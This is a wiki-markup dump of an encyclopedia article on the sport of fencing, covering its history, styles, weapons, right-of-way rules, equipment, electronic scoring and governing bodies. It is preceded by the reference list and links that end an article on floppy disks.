* Immers, Richard; Neufeld, Gerald G. (1984). ''Inside Commodore DOS. The Complete Guide to the 1541 Disk Operating System.'' DATAMOST, Inc &amp; Reston Publishing Company, Inc. (Prentice-Hall). ISBN 0-8359-3091-2.
* Englisch, Lothar; Szczepanowski, Norbert (1984). ''The Anatomy of the 1541 Disk Drive.'' Grand Rapids, MI: Abacus Software (translated from the original 1983 German edition, Düsseldorf: Data Becker GmbH). ISBN 0-916439-01-1.
* Hewlett Packard: 9121D/S Disc Memory Operator's Manual; Printed [[1 September]] [[1982]]; Part No. 09121-90000

== External links ==
{{commons|Floppy disk}}
* [http://computer.howstuffworks.com/floppy-disk-drive.htm HowStuffWorks: How Floppy Disk Drives Work] &amp;ndash; By Gary Brown.
* [http://www.computerhope.com/help/floppy.htm Computer Hope: Information about computer floppy drives] &amp;ndash; Including abbreviated history, physical parameters and cable pin specifications.
* [http://homepages.tesco.net/~J.deBoynePollard/FGA/floppy-discs-are-90mm-not-3-and-a-half-inches.html  &quot;There is no such thing as a 3.5 inch floppy disc.&quot;] &amp;ndash; By Jonathan de Boyne Pollard
* [http://homepages.tesco.net/~J.deBoynePollard/FGA/1mb44-is-not-a-standard-floppy-disc-size.html &quot;There is no such thing as a 1.44MB standard format floppy disc.&quot;] &amp;ndash; By Jonathan de Boyne Pollard
* [http://www.ncits.org/Archive/2000/n751_775.htm NCITS] (mention of ANSI X3.162 (5¼-inch) and X3.171 (90 mm) floppy standards)
* [http://news.bbc.co.uk/1/hi/uk/2905953.stm &quot;R.I.P. Floppy Disk&quot;] &amp;ndash; From [[BBC News Online]]
* [http://slashdot.org/article.pl?sid=04/09/07/1416215 &quot;The Death of the Floppy Disk&quot;] &amp;ndash; From [[Slashdot]]
* [http://iatservices.missouri.edu/techknowledge/03-2003/dell.html Dell Drops Floppy Drive on New Machine]

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      <text xml:space="preserve">:''This article is about the sport.  For the structures for dividing property, and the process of erecting them, see [[fence]]. Also distinguished from  [[stage fencing]], the practice of representing armed combat on stage or screen and [[academic fencing]] or [[mensur]], a form of ritualised combat practiced by some [[Germany|German]] [[Studentenverbindung|student fraternities]]. For other meanings, see [[fence (disambiguation)]]. For definitions of the fencing terminology used in this article, see the [[Glossary of Fencing Terms|glossary]].

[[Image:0408_USA_Olympic_fencing.jpg|thumb|250px|Russian Ivan Tourchine and American Weston Kelsey fence in the second round of the Olympic Men's Individual Épée event at the Helliniko Fencing Hall on Aug. 17, 2004.]]

In the broadest possible sense, '''fencing''' is the art and science of armed combat involving cutting, stabbing or bludgeoning weapons directly manipulated by hand, rather than shot or thrown (in other words, [[sword|swords]], [[knife|knives]], [[pike (weapon)|pikes]], [[bayonet|bayonets]], [[baton|batons]], [[club (weapon)|clubs]], and so on). In contemporary common usage, '''fencing''' tends to refer specifically to European schools of swordsmanship and to the modern [[Olympic Games|Olympic]] sport that has evolved out of them. 

== Etymology ==	
From the Middle English ''fense'', c. 1330, ultimately deriving from the Latin ''defendere'' &quot;ward off, protect,&quot; from ''de-'' &quot;from, away&quot; + fendere &quot;to strike, push&quot;. [http://www.etymonline.com/index.php?term=fence] 

First used in writing as a verb in reference to swordsmanship by [[Shakespeare]], in [[The Merry Wives of Windsor]] ([[1598]]): &quot;Alas sir, I cannot fence.&quot; [http://dictionary.oed.com/]

== The history of fencing ==
:''See also [[Historical European Martial Arts]]''
Fencing can be traced at least as far back as [[Ancient Egypt]]. The earliest known depiction of a fencing bout, complete with practice weapons, safety equipment, and judges, is a [[relief]] in a temple near [[Luxor]] built by [[Rameses III]] around [[1190 BC]]. [http://www.amazon.com/exec/obidos/tg/detail/-/0812969669] The [[Greeks]] and [[ancient Rome|Romans]] had systems of martial arts and military training that included [[swordsmanship]], and fencing-schools and professional champions were known throughout medieval Europe. The earliest surviving record of Western techniques of fencing is the manuscript known as MS [[I.33]], which was created in southern Germany c. 1300 and today resides at the Royal Armouries in [[Leeds]]. Throughout the [[Middle Ages]], masters continued to teach systems for using the sword (together with other weapons and grappling) to noble and non-noble alike. The wearing of the sword with civilian dress (a custom that had begun in the late fifteenth century on the [[Iberian Peninsula]]) gradually gave rise to a new system of civilian swordsmanship based more on the thrust than on the cut, with the aim being to keep the adversary at a distance with the point, and slay him there. This gave rise to sixteenth- and seventeenth-century systems of using the  [[rapier]] and the seventeenth and eighteenth century [[smallsword]]. Though swords ceased to be an article of everyday dress after the French Revolution, they continued to be used in warfare and to resolve disputes of honour in formal duels through the nineteenth century and into the twentieth. 

Though agonistic competition in fencing is as old as the art itself, the modern sport of fencing originated in the first [[Olympics|Olympic games]] in 1896. The first few years of fencing as a sport were chaotic, with important rule disagreements among schools of fencing from different countries, notably the representatives of the French and Italian schools. This state of affairs ended in 1913, with the foundation of the ''Fédération Internationale d'Escrime'' ([[FIE]]) in Paris. The stated purpose of the FIE is to codify and regulate the practice of the sport of fencing, particularly for the purpose of international competition. The foundation of the FIE is a convenient breaking point between the classical and the modern traditions of fencing.

== Fencing philosophies ==
There are many different autonomous directions in contemporary fencing:

===Sport fencing===
''Sport fencing'' is also known as ''Olympic fencing''. This is the sort of fencing seen in most competitions (including the [[Olympic Games]]). It is conducted according to the rules laid down by the [[FIE]] (the international governing body), which are roughly based on the conventions of fencing as it was developed as a martial art and gentlemanly accomplishment in the eighteenth and nineteenth centuries. Due to technical developments and ideological disagreements, these rules are subject to frequent revisions and amendments.

===Classical fencing===
''[[Classical fencing]]''. This type of fencing generally attracts people who feel that contemporary sports fencing has strayed too far from its [[martial arts]] origins. A growing body of fencing masters continue to teach the more martial forms of the Classical period as handed down from their masters' masters. Some practitioners also often try to reconstruct old European systems of armed combat, while others only advocate a return to an earlier set of conventions in sport fencing.

===Historical fencing===
''[[Historical fencing]]'' is a type of [[historical martial arts reconstruction]] based on the work of historical texts and traditions.  Historical fencing can include longsword, single-handed cutting swords, pole arms, rapier and many other forms. Only a few fencing masters still exist who have been taught and continue to teach these weapons and techniques in an unbroken lineage (that is, a system that has been passed from master to student through the centuries).

===SCA fencing===
''[[SCA fencing]]'' is the form of historical fencing conducted by members of the [[SCA]] ([[Society for Creative Anachronism]]). Generally it aspires to a pre-[[1600s]] form while still using modern fencing weapons and safety gear disguised to pass as period clothing.

===Stage fencing===
''Stage fencing''  (''l'escrime artistique'') is a type of fencing that seeks to achieve the maximum theatrical impact. Fights are, generally, choreographed, and fencing actions are somewhat exaggerated. It is not an exclusive preserve of actors and stuntmen - some people do it as a hobby.

===Academic fencing===
''[[Academic fencing]]'' or ''[[mensur]]'' is a German student tradition. The combat, which uses a type of cutting saber known as the [[schlager]], uses sharpened blades and takes place between members of different fraternities in accordance with a strictly delineated set of conventions, using special protective gear. The ultimate goal is the development of personal character; there is no &quot;winner&quot; or &quot;loser,&quot; but rather the object is to show coolness and proper deportment in the face of a sharp blade.

== The weapons ==
In both its modern and its classical guise, fencing consists of three different weapons: [[Foil (sword)|foil]], [[épée]] and [[Sabre (fencing)|sabre]]. These three weapons had become standard by the late nineteenth century and all are represented at Olympic-level competition. Additionally, in classical academies, one will often find [[historical fencing]] weapons, such as ''[[la canne|canne]]'', ''[[bâton français|bâton]]'', ''[[main-gauche]]'' or [[rapier]] and [[dagger]], being taught. 

Foil used to be the first weapon taught to beginners, because the techniques of foil teach, in abstract form, the fundamentals of fencing. Additionally, in the past, women were only allowed to fence foil, and the lightness of the weapon made it easier to handle for children. Today, while it is still adviseable to gain at least a fundamental grasp of foil before proceeding with either of the other two weapons, fencers, especially those who intend to fence sabre, often begin with any of the three weapons.

===Anatomy of the weapons===
While the weapons fencers use differ in size and purpose some basic parts of the weapon remain constant throughout the disciplines. The pommel, a weighted piece of metal at the end of the handle, holds the blade and handle together while providing a counter-balance to the weight of the blade (in actual combat situations, the pommel could also be used as a bludgeon). The grip can be one of several types: French, Italian (mostly seen in classical fencing), a hybrid of these two known as the Spanish grip (now illegal in FIE competition), or the orthopedic or pistol grip (the most common in FIE competition).

====Italian grip====
[[Image:Foil-2004-A.jpg|thumb||right|Italian grip]]
The [[Italian grip]], though the earliest to develop, is rarely used today in sport fencing, but is common amongst classical fencers. Its advocates say that it has most of the French grip's agility with a much greater degree of power and stability. The Italian grip consists of a straight handle, a crossbar (the [[quillions]]), and two rings. The fencer's fingers actually rest upon the ricasso, which is part of the blade. This not only gives great security, but great sensitivity.

====French grip====
[[Image:Red_French_Grip.JPG|thumb|frame|right|Electric French Grip]]
The [[French grip]] is contoured to the curve of the hand and reached its modern form in the late nineteenth century.  Compared to the other primary grip used in modern sport fencing, the pistol grip, the French is thought to have greater speed and maneuverability, but lesser strength and stability.  The French grip also allows the fencer to &quot;post&quot;, holding the grip towards the base, called the pommel, instead of correctly holding the weapon near the bell guard.  This gives the fencer a longer and more deceptive range while lessening speed, manueverability, strength and stability.

====Spanish grip====
&lt;!-- Image with unknown copyright status removed: [[Image:spanishoffset.jpg|thumb|frame|right|Spanish offset grip.]] --&gt;
The Spanish offset is a hybrid of the French and Italian grips. It resembles a French grip with two orthopedic aids coming from the top and bottom, which serve the same purpose of the quillions of the Italian grip.

====Pistol grip====
&lt;!-- Image with unknown copyright status removed: [[Image:viscontigrip.jpg|thumb|frame|right|Visconti-Style pistol grip.]] --&gt;
The [[Pistol grip (fencing)|pistol grip]] (otherwise known as the anatomical or orthopedic grip), originally developed for a nineteenth-century Belgian master who had lost fingers in a tram accident, contours entirely to one's hand and is held much like a pistol, hence the name. This grip became popular amongst sports fencers in the late twentieth century because of the way it complemented the agility and athleticism of competitots  - albeit, as critics allege, at the cost of blade sensitivity finesse.  There are several types of pistol grips, such as the basic Visconti (which is what most people refer to as a pistol grip), the American, Belgian, and Russian.  The various pistol grips all provide a somewhat firmer hold for the user of the weapon than would be possible with the French grip.  This endows the user with a more stable grip on the weapon.

=== Foil ===
The modern [[Foil (sword)|foil]] is descended from the training weapon for the [[small-sword]], the common sidearm of the eighteenth-century gentleman. However, it has long since been altered to be similar in length to the épée (averaging 35&quot; or 890 mm). (Rapier and even [[longsword]] foils are also known to have been used but they were very different in terms of weight and use.) It is a light weapon, with a tapered, flexible, quadrangular blade, that scores only with the point. In modern sport fencing, which makes use of electrical scoring apparatus, one must hit the opponent with the tip of the blade, with a force of at least 4.90 [[newton]]s (500 [[kilogram-force|grams-force]]).

[[Image:foilfen.gif|frame|right|A foil fencer.  Valid target (the torso) is in black.]]
The valid target area at foil is limited, due to its origins in a time when fencing was practised with limited safety equipment. Hits to the face were dangerous, so the head was removed from valid target. The target was then further reduced to only the trunk of the body, where the vitals are located.  A touch which lands on an invalid target stops the bout, but no point is scored.

During the 1980s, partly due of the introduction of the pistol grip, a technique was developed known as &quot;flicking,&quot; a move with which the fencer whipped his/her blade in such a manner that it bent almost to a square angle in midair, the point hitting the opponent only afterwards.  If executed properly, this move has the ability to bypass most classical parries, and to hit in unusual or difficult places (such as the back). This technique is contoversial, in that it departs from traditional, classical style fencing. To circumvent the flick, in 2005 the FIE changed the &quot;depression timing&quot; of the tip. This caused most &quot;flick touches&quot; to be no longer detected by the scoring machines, thus favouring more classical, straight thrusts.

Foil is often seen as the most &quot;mental&quot; of the three weapons.  Its limited target area makes it difficult for the attacking fencer to score, so complicated attacks (or defenses against the same) must often be planned well in advance of the attack's actual delivery.  Thus, many people compare foil fencing (or fencing generally) to a sort of physical [[chess]] match.

=== Épée ===
[[Image:epeefen.gif|frame|right|An Épée fencer.  Valid target (the entire body) is in black.]]
The modern [[épée]] is the closest weapon to an actual classical duelling weapon that is used in modern fencing, descended from the French [[duel|duelling]] sword of the [[19th Century|19th]] and [[20th Century|20th centuries]]. The épée is a long, straight and relatively heavy sword as compared to the foil, with a triangular or V-shaped, less flexible blade and a large, round, bell-shaped guard.

Like the foil, the épée is a point weapon. The reason for the large guard is that the hand is a valid target, as is the rest of the body. Since double-touches are a possibility &amp;mdash; and, since there is no right-of-way (see below) &amp;mdash; épée fencing tends to be more conservative in style than the other weapons. In electric fencing, in order for a point to register, one must hit the opponent with the point, registering at least 7.35 newtons (750 grams-force) of force.  Classical fencers sometimes use a ''point d'arret'', a three-pronged attachment that will actually catch the opponent's jacket.
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=== Sabre ===
[[Image:saberfen.gif|frame|right|A sabre fencer.  Valid target (everything from the waist up, including the arms and head) is in black.]]
The modern [[Sabre (fencing)|sabre]] is descended from the classical northern Italian duelling sabre, a far lighter weapon than the cavalry sabre. The method and practice of sabre fencing is somewhat different from the other weapons, in that the sabre is an edged weapon. In modern electric scoring, a touch with the sabre, point, flat or edge, to any part of the opponent's valid target (head, torso, or arm) will register a hit.

Unlike foil and épée, in modern sport sabre, the crossover is not allowed. This rule change was made so that referees would not have to try to determine right of way when both fencers simply fleched, or ran at each other.  However, recently some sabre fencers have been using a technique known as the &quot;flying lunge&quot;, or &quot;flunge&quot; for short.  This attack starts like a fleche, but the fencer pushes off from the ground, and flies forward.  The legs almost cross at the high point of the jump, but then the front leg is brought forward to catch the fencer.  

The target area originates from dueling sabre training. To attack the opponent's leg would allow him to &quot;slip&quot; that leg back and attack one's exposed arm or head given that the higher line attack will outreach the low line (there is a classic example of the leg slip in Angelo's ''Hungarian and Highland Broadsword'' of 1790). The target area is from the waist up excluding the hands. Right-of-way applies, much as it does to foil.

A common misconception concerning the origin of sabre's target area is that the legs are removed as targets due to sabre's origin as a cavalry weapon.  Essentially, this line of reasoning goes, the legs of a horseman were not a valid target in war, since cutting the leg of a man riding a horse would not stop that man from continuing his charge.  This myth has largely been refuted and several older texts demonstrate low sabre parries to protect the mount's flanks and the fencer's legs.  For more information on this topic consult Christoph Amberger's book &quot;A Secret History of the Sword&quot;.

== Right of way ==
The &quot;right of way&quot; principle in foil and sabre is that the first person to properly execute an attack has priority.  An &quot;attack&quot; is defined inconsistently by modern fencing directors: most use a newer definition which sees one fencer extending his or her arm as an attack, but a few still adhere to the classical principle that an attack is not established until the arm is fully extended.  Either way, if one is attacked, one must defend oneself before counterattacking -- rather than attempting to hit one's opponent even at the risk of being hit oneself.  This is the basic principle of right-of-way. Attacks can be made to fail either by bad luck, misjudgement or by action on the part of the defender. A properly executed [[parry (fencing)|parry]] (deflecting the incoming attack with one's own blade) causes priority to change and the defender has the opportunity to attack ([[riposte (fencing)|riposte]]). The original attacker must parry the defender's riposte before attacking again.  However, if the parry is ineffectual ([[malparry]]), if the riposte misses, or the defender hesitates before riposting, the attacker can continue his attack (this can be called a [[remise (fencing)|remise]], a reprise or a [[redoublement (fencing)|redoublement]]) without himself parrying. None of these actions (remise, reprise or redoublment) has the right of way so if the defending fencer hesitates that will be called a counterattack and will receive the touch.

For instance, if one fencer attacks, and the other immediately counter-attacks into the attack, and each hits the other, the first fencer's attack is considered successful, while the second is considered to have misjudged. If, however, the second fencer parried the first attack and then responded with an attack of his own (or if he had counter-attacked and managed to avoid being touched), they would have taken the right of way away from the first fencer. It would then be incumbent on the first fencer to defend him - or her - self.

When electrical scoring equipment is used in the modern sports of foil and sabre, (there is electrical epee scoring as well) both fencers will register a hit if they contact within a certain time of each other. Then the referee must decide who had right of way at the time of the hits, and therefore who gets a point. If the referee cannot tell, then he will declare the touches null, and restart the bout from where it stopped. 

Double hits are possible in épée as well, but only if both fencers contact within a very short timeframe (40 milliseconds, or 1/25th of a second).  In this case, both fencers will receive a point.

Right-of-way in foil and sabre exists to force the fencers to fence in a manner consistent with sharp-weapon fencing.  A fencer being attacked with a sharp weapon would not be very likely to simply launch a simultaneous attack in hopes of splitting the &quot;point&quot; (thus killing both fencers).  Instead, fencers attacked with a sharp weapon would be likely to ensure their own safety with a good defense before counterattacking.

== Protective clothing ==
[[Image:Fencing equipment.jpg|thumb|300px|right|Equipment of a right-handed épée fencer:&lt;br&gt;
1. Jacket&lt;br&gt;
2. Glove&lt;br&gt;
3. Body wire&lt;br&gt;
4. Épées&lt;br&gt;
5. Breeches&lt;br&gt;
6. Mask&lt;br&gt;
7. Plastron&lt;br&gt;

Not pictured: socks and shoes]]
The clothing which is worn in modern fencing is made of tough [[cotton]] or [[nylon]]. [[Kevlar]] was previously used but found insufficiently durable.  The complete fencing kit includes the following items of clothing:

* Form-fitting jacket, covering groin and with strap (''croissard'') which goes between the legs
* Half jacket (plastron) which goes underneath the jacket and provides double protection on the sword arm side and upper arm.  It is required to not have a seam in the armpit, which would line up with the jacket seam and provide a weak spot.
* Glove, with a cuff that prevents swords going up the sleeve and causing injury, as well as protecting the hand and providing a good grip
* Breeches (knickers), which are a pair of pants. The legs are supposed to hold just below the knee. 
* Knee-length socks, which cover the rest of the leg.
* Mask, including a bib which protects the neck
* Plastic chest protector, mandatory for female fencers to provide protection for the breasts. While male versions are also available, they were until recently primarily worn by instructors, who are hit far more often during training than their students; since the change of the depression timing (see above), these are increasingly popular in foil and épée, for they protect the users chest better than the plastron. Plastrons are still mandatory, though.
Traditionally, the uniform is white in colour.  This is primarily to assist the judges in seeing touches scored (black being the traditional colour for masters), but rules against non-white uniforms may also have been intended to combat sponsorship and the commercialization of the sport.  However, recently the FIE rules have been relaxed to allow coloured uniforms. The colour white might also be traced back to times before electronic scoring equipment, when the blades were sometimes covered in soot or coloured chalk to make a mark on the opponent's clothing.
* Fencing Masters wear a heavier protective jacket, usually reinforced by plastic foam to endure the numerous hits an instructor has to endure.
* Sometimes in practice, masters wear a protective sleeve or a leg leather for protection of their fencing arm or leg.

== The practice of fencing ==
Fencing takes place on a strip, or ''[[Piste (fencing)|piste]]'', with two fencers facing one another. In modern fencing, the piste is between 1.5 and 2 meters wide, and 14 meters long. There are designated points on the fencing strip; there is the en-garde line (this is where the fencers start), the center line, the two meter warning lines and the end of the strip.  Prior to starting a bout it is required for fencers to salute each other as well as the director.  Fencers technically must also salute the audience, but this is often not enforced. Some fencers choose to salute various other things (e.g. God). The fencer's salute has traditionally consisted of the blade going vertically before the fencer saluting with the bell guard at face level and back to en garde position, however, in recent fencing, a great deal of variance has emerged, with some fencers merely raising the blade toward their salutee, while others have incorporated elaborate motions, such as flourishes or crossing motions. Opponents start in the middle of the piste, 4 metres apart, in the en garde position.

A [[referee]] (formerly called president of jury, or director) presides over the contest, called a &quot;bout.&quot; The referee's duties include keeping score, keeping time (sabre is usually fenced untimed because it moves very quickly), keeping track of right-of-way, awarding points and maintaining the order of the bout. Often, another person will keep score or time. He or she stands on one side of the piste, watching the bout.  

There are many types of modern fencing bouts, but in the two most common formats, the first fencer to score either 5 or 15 touches is declared the winner.

Modern fencing also includes the addition of cards/flags (or penalties). In foil and sabre, yellow cards are awarded for bodily contact between opponents - the penalty going to the aggressor. Two yellow cards equals one red card, and a touch for the opponent. Black cards can mean disqualification and are given out for overtly aggressive actions such as beating one's opponent with the pommel of the sword as well as breaches of [[etiquette|protocol]] such as failure to salute.

It is also possible to fence &quot;in the round,&quot; meaning that the bout takes place in a circular or square area instead of on a strip, and fencers can circle in addition to moving forward or backward.  This style of fencing is mostly practised today by the [[Society for Creative Anachronism|SCA]] and does not exist in [[FIE]] tournaments.

== Footwork ==
The most commonly used footwork is the advance and retreat.  Other types of footwork include the cross-advance and cross-retreat. 

Generally, feet are placed a shoulder-width apart at right angles to each other. The front foot (the right foot for a right-handed fencer, the left foot for a left-handed fencer) faces the opponent, and the back foot faces to the left (or to the right for a left-handed fencer). The fencer's knees should be slightly bent to allow for more mobility. The feet are reversed if one is left-handed. This allows for fairly easy advances and retreats, while allowing the side of the torso to face the opponent. This makes one's target area less open to attack by the opponent.  This is called the ''en garde'', or on-guard, position.

To execute an advance, the front foot is moved forward, landing with the heel and rolling forward. Then the back foot is raised and moved forward so that the fencer returns to the ''en garde'' position. The process is reversed for a retreat. During this process, the back foot does not move forward of the front. However, in a cross-advance (also known as a cross-step advance or crossover advance), the back foot moves forward of the front, and then the front foot is moved forward so that the fencer returns to the ''en garde'' position. The reverse is called a cross-retreat. These steps allow the fencer to gain or close distance more quickly, but it is not as stable or as versatile as a standard advance or retreat.

Variations and portions of the above movements can also be used by themselves. For example, a check-step forward is performed by moving the back foot as in a retreat, then performing an entire advance. This maneuver can trick your opponent into thinking you are retreating, when in reality you want to close distance.

Other footwork actions include the appel (French for &quot;call&quot;), which is a stomp of the front foot; and the jump (also know as a ''balestra''), which is a small jump forward used in conjunction with a variety of attacks.

Good footwork is essential to the performance of a fencer. Although fencing is the sport of bladework, it is very much a game of distance, and having superior footwork can easily determine the outcome of a bout. Even expert fencers almost always include a session of footwork drills in their practice sessions, some more so than bladework exercises.

== Electronic scoring equipment ==
Electronic scoring is used in all major national and international, and most local, competitions. At Olympic level, it was first introduced to épée in [[1936]], to foil in [[1957]], and to sabre in [[1988]]. There are, however, still traditionalists within the fencing community who have fundamental objections to the practice (discussed later on in this section). 

The central unit of the scoring system is commonly known as &quot;the box&quot;. In the simplest version both fencers' weapons are connected to the box via long retractable cables. The box normally carries a set of lights to signal when a touch has been made. (Larger peripheral lights are also often used.) In foil and sabre, because of the need to distinguish on-target hits from off-target ones, special conductive clothing must be worn. This includes a jacket of conducting ([[lamé]]) cloth (for both weapons) and (in the case of sabre) a conducting mask and cuff ([[manchette]]).

Recently, reel-less gear has been adopted for sabre at top competitions, including the Athens Olympics.  In this system, which dispenses with the spool (by using the fencer's own body as a grounding point), the lights and detectors are mounted directly on the fencers' masks. For the sake of the audience, clearly visible peripheral lights triggered by wireless transmission may be used. However, the mask lights must remain as the official indicators, as FIE regulations prohibit the use of wireless transmitters in official scoring equipment, to prevent cheating. Plans for reel-less épée and foil have not yet been adopted because of technical complications. 

In the case of foil and épée, hits are registered by depressing a small push-button on the end of the blade. In foil, the hit must land on the opponent's lame to be considered on-target. (On-target hits set off coloured lights; off-target hits set off white lights.) At high level foil and épée competitions, grounded conductive pistes are normally laid down to ensure that bouts are not disrupted by accidental hits on the floor. In sabre, an on-target hit is registered whenever a fencer's blade comes into contact with the opponent's [[lamé]] jacket, cuff or mask. Off-target hits are not registered at all in sabre. It has been proposed that a similar arrangement (non-registration of off-target hits) be adopted for foil. This proposal is due to be reviewed at the 2007 [[FIE]] Congress. In épée the entire body is on-target, so the subject of off-target hits does not arise (unless you count the hits which miss the opponet etirely and land on an ungrounded section of the floor - needless to say doing so on purpose is considered cheating). Finally the competitors weapons are always grounded so hits agains an opponent's blade or coquille do not register.

In foil and sabre, despite the presence of all the gadgetry, it is still the referee's job to analyse the phrase and, in the case of simultaneous hits, to determine which fencer had the right of way.

&quot;Electric&quot; fencing has not been without its problems. One of the most talked about has been the registration of glancing hits in foil. Traditionally, a valid, &quot;palpable&quot; hit could only be scored, if the point were fixed on the target in such a manner, as would be likely to pierece the skin, had the weapon been sharp. However, the electric foil point (the push-button on the end of the blade) lacks directionality, so hits which arrive at a very high angle of incidence can still register. In the 1980s, this lead to a growing popularity of hits delivered with a whip-like action (commonly known as &quot;the flick&quot;), bending the blade around the opponent's parry. Many saw this as an unacceptable deviation from tradion. In fact, the disputes over the flick grew so bitter that a number of traditionalist advocated (and still continue to advocate) complete abandonment of electronic scoring as something detrimental to fencing as an art. In 2004-2005 the [[FIE]] brought in rule changes to address such concerns. The dwell time (the length of time the point has to remain depressed in order to register a hit) was increased from 1 millisecond to 15 milliseconds. This change has been rather controversial. While it has not eliminated the flick altogether, it has made it technically trickier thereby denting its popularity. However, there have been some serious problems with apparently &quot;palpable&quot; hits not registering. Moreover, the imperative to make clear &quot;square-on&quot; hits has lead to a number of unforeseen results, which, it has been argued, have made foil less rather than more classical. The following have been reported:

* Unwillingness to attack, leading to long periods of inactivity and loss of certain visually striking (but risky) manoeuvres;
* Loss of popularity of the more sophisticated and technically demanding compound actions;
* A rise in the number of renewed offensive actions (at the expense of counter-ripostes) delivered with a decidedly unclassical pumping action;
* A rise in the number of counterattacks with avoidance (at the expense of ripostes);
* Increased popularity of unorthodox &quot;cowering&quot; on-guard positions among young fencers;
* Hard hitting.

Having said that, every one of the above claims is a subject of dispute.

In sabre, the inadequacy of existing sensors has made it necessary to dispense with the requirement that a cut must be delivered with either the leading or the reverse edge of the blade and that, once again, it must arrive with sufficient force to have caused an injury, had the blade been sharp (but not to actually injure your opponent with a blunt weapon!). At present, any contact between the blade and the opponent's target is counted as a valid hit. Some argue that this has reduced sabre to a two-man game of tag; others argue that this has made the game more sophisticated. 

The other serious problem in sabre (universally acknowledged as a problem) is that of &quot;whip-over&quot;. The flexibility of the blades is such that the momentum of a cut can often &quot;whip&quot; the end of the blade around the defender's parry. The low success rate of parries (compared to other weapons) is seen by many as impoverishing the tactical repertory of the weapon. In 2000 the [[FIE]] brought in rule changes requiring stiffer blades. This has improved matters but not eradicated the problem altogether. There has been talk of making the sabre guard smaller, in order to make attacks on preparation and counterattacks easier and thus slow down the momentum of the attack, giving the defender more of a chance.

Finally, the cut-out times deserve a mention. The cutout time is the maximum time allowed by the box between two hits registering as simultaneous (if this time is exceeded, only one light will appear). In épée this time is very short: 40 milliseconds. This means that, so far as human perception is concerned, the hits really do need to arrive at the same instant. In foil and sabre, where priority rules apply, the cutout times are considerably longer (hunderds of milliseconds). This was a source of two problems: 

* Double lights are a frequent occurrence, making refereeing difficult. Too many decisions are disputed.
* Once again, the attacker gains an unreasonable advantage. It is possible to execute a long marching attack with only a hint of an arm extension, clearly inviting an attack on preparation, which is then followed by a delayed trompment. 

For those reasons, in 2004-2005 the [[FIE]] slashed the cut-out times for foil and sabre from 750 milliseconds to 350 milliseconds and from 350 milliseconds to 120 millisends respectively. While these changes were controversial at first, the fencing community now seems to have accepted them. Some concerns remain at sabre, where immediate renewals frequently &quot;time out&quot; indirect ripostes.

== Non-electronic scoring ==
Prior to the introduction of electronic scoring equipment, the president of jury was assisted by four judges.  Two judges were positioned behind each fencer, one on each side of the strip.  The judges watched the fencer opposite to see if he was hit.

When a judge thought he saw a hit, he raised his hand.  The president ([[referee]] or [[Tournament director|director]]) then stopped the bout and reviewed the relevant phases of the action, polling the judges at each stage to determine whether there was a touch, and (in foil and sabre) whether the touch was valid or invalid.  Each judge had one vote, and the president had one and a half votes.  Thus, two judges could overrule the president; but if the judges disagreed, or if one judge abstained, the president's opinion ruled.

Épée fencing was later conducted with red dye on the tip, easily seen on the white uniform. As a bout went on, if a touch was seen, a red mark would appear. Between the halts of the director, judges would inspect each fencer for any red marks. Once one was found, it was circled in a dark [[pencil]] to show that it had been already counted. The red dye was not easily removed, preventing any [[cheating]]. The only way to remove it was through certain acids such as [[vinegar]]. Thus, épée fencers became renowned for their reek of vinegar until the invention of electronic equipment.

== National governing bodies ==
'''Italy'''
In [[Italy]], the sport of fencing is governed by the [[Federazione Italiana Scherma]] ([[FIS]]). The organization's website is located here: [http://www.federscherma.it Federazione Italiana Scherma].

'''France'''
In [[France]], the sport of fencing is governed by the [[Federation Francaise d'Escrime]] ([[FFE]]). The organization's website is located here: [http://www.escrime-ffe.fr Federation Francaise d'Escrime].

'''Hungary'''
In  [[Hungary]], the sport of fencing is governed by the [[Magyar Vívószövetség]] ([[MVSz]]). The organization's website is located here:
[http://www.hunfencing.hu Magyar Vívószövetség]

'''New Zealand'''

In [[New Zealand]], the sport of fencing is governed by [[Fencing New Zealand]] ([[FeNZ]])

'''Mexico'''

In [[Mexico]], the sport of fencing is governed by the [[Federacion Mexicana de Esgrima]] ([[FME]]). Clubs affiliate to each state's association, who are affiliated with the FME.

'''United States'''

In the [[United States]], the sport of fencing is governed by the [[United States Fencing Association]] ([[USFA]]).

'''United Kingdom'''

In the [[United Kingdom]], fencing is governed by the [[British Fencing Association]] ([[BFA]]).
The 'Home Nations' of Wales, England, Northern Ireland and Scotland have their own governing bodies under the auspices of the BFA: [http://www.welshfencing.org Welsh Fencing], [http://www.englandfencing.co.uk England Fencing], the [http://www.nifu.co.uk Northern Ireland Fencing Union] and [http://www.scottish-fencing.com Scottish Fencing] respectively.

== Collegiate fencing ==
Colligiate fencing has existed for a long time in the US.  Some of the earliest programs came from the [[Ivy League]] schools, but now there are over a hundred fencing programs nation wide.  Both clubs and varsity teams participate in the sport, however only the varsity teams may participate in the [[NCAA]] championship tournament.  Due to the lack of schools in fencing, the teams actually fence inter-division (teams from Division III schools to Division I), and all divisions participate in the NCAA Championships.  In [[2005]] [[University of Notre Dame|Notre Dame]] edged out [[Ohio State University|Ohio State]] to win the championship.  

Collegiate fencing tournaments are &quot;team tournaments&quot; in a sense, but contrary to what many people expect, collegiate meets are not run as 45-touch relays. Schools compete against each other one at a time. In each weapon and gender, three fencers from each school fence each other in five-touch bouts. (Substitutions are allowed, so more than three fencers per squad can compete in a tournament.) A fencer's individual results in collegiate tournaments and regional championships are used to select the fencers who will compete in NCAA championships. Individual results for fencers from each school are combined to judge the school's overall performance and to calculate how it placed in a given tournament.

*[[List of NCAA Fencing Schools]]
*[[List of club-level US collegiate fencing programs]]

== High school fencing ==
The practice of competitive fencing on the high school level is considered a small, local sport of the North Eastern region of the United States, particularly in New Jersey. The majority of schools in these areas do not have fencing programs, and it is traditionally run at only some schools. The sport of fencing is considered rather costly on the high school level, as many competetive high school teams are of private academies, who strive to excel at the sport through use of recruiting programs and talent scouts.

Instead of fencing for a school at this level, most fencers choose to fence for a club, and may only fence at a school part time.

== Notable modern fencers and fencing masters ==
* [[Christian d'Oriola]], 4 times world champion, 2 olympic titles plus many team titles
* [[Péter Fröhlich]], Hungarian master and Olympic coach
* [[Aladar Gerevich]] - Hungarian sabreur who is the only athlete to win the same Olympic event six times.
* [[Sergei Golubitsky]], World foil champion three consecutive times
* [[Pavel Kolobkov]], Russian World Champion and Olympic Champion
* [[Viktor Krovopouskov]] - a Soviet sabreur, four-time Olympic Gold medalist
* [[Ju-Jie Luan]], Chinese fencer and coach, gold medallist for Women's Foil at the [[1984]] [[Summer Olympic Games]]
* [[Edoardo Mangiarotti]] of Italy has won more Olympic titles and World championships than any other fencer in the history of the sport.
